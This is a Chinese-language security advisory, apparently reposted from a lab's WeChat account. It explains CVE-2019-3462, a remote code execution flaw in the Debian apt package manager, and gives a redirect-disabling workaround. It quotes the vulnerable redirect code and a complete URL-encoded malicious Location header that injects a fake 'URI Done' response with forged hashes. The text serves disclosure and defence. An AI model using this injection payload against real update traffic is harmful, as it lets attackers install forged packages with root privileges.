Linux包管理器apt/apt-get远程代码执行漏洞

释放双眼,带上耳机,听听看~!

点击上方“凌天实验室”可订阅哦!

近日,研究人员Max Justicz发现Linux包管理器apt/apt-get存在远程代码执行漏洞,该漏洞允许攻击者进行中间人攻击并获取root权限执行任意代码。

apt开发人员已在版本1.4.9中修复了该漏洞,如果您担心在更新过程中被利用,可以通过在更新时禁用HTTP重定向来保护自己。


$ sudo apt update -o Acquire::http::AllowRedirect=false $ sudo apt upgrade -o Acquire::http::AllowRedirect=false

如果当前程序包默认镜像重定向(意味着在使用该标志时无法更新apt),则需要选择不同的镜像或直接下载程序包。

下面是利用以下内容的视频Dockerfile

FROM debian:latest RUN apt-get update && apt-get install -y cowsay


 背    景 

在获取数据时,apt会分离专门处理将用于数据传输的各种协议的工作进程。然后,父进程通过stdin / stdout与这些worker进行通信,例如,当apt install cowsay使用通过HTTP提供的repos在计算机上运行时,apt将分叉/usr/lib/apt/methods/http,这会返回一条100 Capabilities消息:


100 Capabilities Version: 1.2 Pipeline: true Send-Config: true

然后,父进程将发送其配置并请求资源:

601 Configuration Config-Item: APT::Architecture=amd64 Config-Item: APT::Build-Essential::=build-essential Config-Item: APT::Install-Recommends=1 (...many more lines omitted...) 600 URI Acquire URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831 Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3 Expected-Checksum-FileSize: 20070

工作进程将响应以下内容:

102 Status URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Message: Connecting to prod.debian.map.fastly.net 102 Status URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204) 102 Status URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Message: Waiting for headers 200 URI Start URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Size: 20070 Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000 201 URI Done URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb Size: 20070 Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000 MD5-Hash: 27967ddb76b2c394a0714480b7072ab3 MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3 SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831 Checksum-FileSize-Hash: 20070

当HTTP服务器使用重定向进行响应时,工作进程返回a 103 Redirect而不是a 201 URI Done,并且父进程使用此响应来确定接下来应该请求的资源:

103 Redirect URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb New-URI: http://example.com/new-uri

 漏    洞 

该漏洞的起因是apt默认使用HTTP通信,而其transport方法中处理HTTP重定向的代码没有正确检查某些参数,攻击者可通过中间人攻击使用伪造签名骗过该检查,进而在用户主机上安装任意程序。


// From methods/basehttp.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);

// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &NewURI)
{   std::cout << "103 Redirect\nURI: " << Queue->Uri << "\n"          << "New-URI: " << NewURI << "\n"          << "\n" << std::flush;   Dequeue();
}

如果HTTP服务器发送Location: /new-uri%0AFoo%3A%20Bar,HTTP fetcher进程将回复以下内容:

103 Redirect URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb New-URI: http://deb.debian.org/new-uri Foo: Bar

如果HTTP服务器发送:

Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A

那么HTTP fetcher进程会回复:

103 Redirect URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb New-URI: http://deb.debian.org/payload 201 URI Done URI: http://deb.debian.org/payload Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg Size: 20070 Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000 MD5-Hash: 27967ddb76b2c394a0714480b7072ab3 MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3 SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831 Checksum-FileSize-Hash: 20070

父进程将信任注入的201 URI Done响应中返回的哈希值,并将它们与已签名的包清单中的值进行比较。由于攻击者控制报告的哈希值,因此他们可以使用此漏洞令人信服地伪造任何程序包。


 结    尾 

由于apt本身已经获取了root权限,该恶意程序可在root权限下执行。该漏洞影响范围极为广泛,所有使用老版本apt的主机都受到影响。还是要感谢apt维护者快速修补此漏洞,并感谢Debian安全团队协调披露。此错误已分配给CVE-2019-3462。



凌天
实验室
凌天实验室,是安百科技旗下针对应用安全领域进行攻防研究的专业技术团队,其核心成员来自原乌云创始团队及社区知名白帽子,团队专业性强、技术层次高且富有实战经验。实验室成立于2016年,发展至今团队成员已达35人,在应用安全领域深耕不辍,向网络安全行业顶尖水平攻防技术团队的方向夯实迈进。

本文源自微信公众号:凌天实验室

人已赞赏
安全工具

GitHub 发布即登顶的渗透教程,做个黑客或安全管理员都随你!

2019-10-14 14:02:06

安全工具

CVE-2018-2025[0-3] WinRAR 代码执行漏洞预警

2019-10-14 14:02:12

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索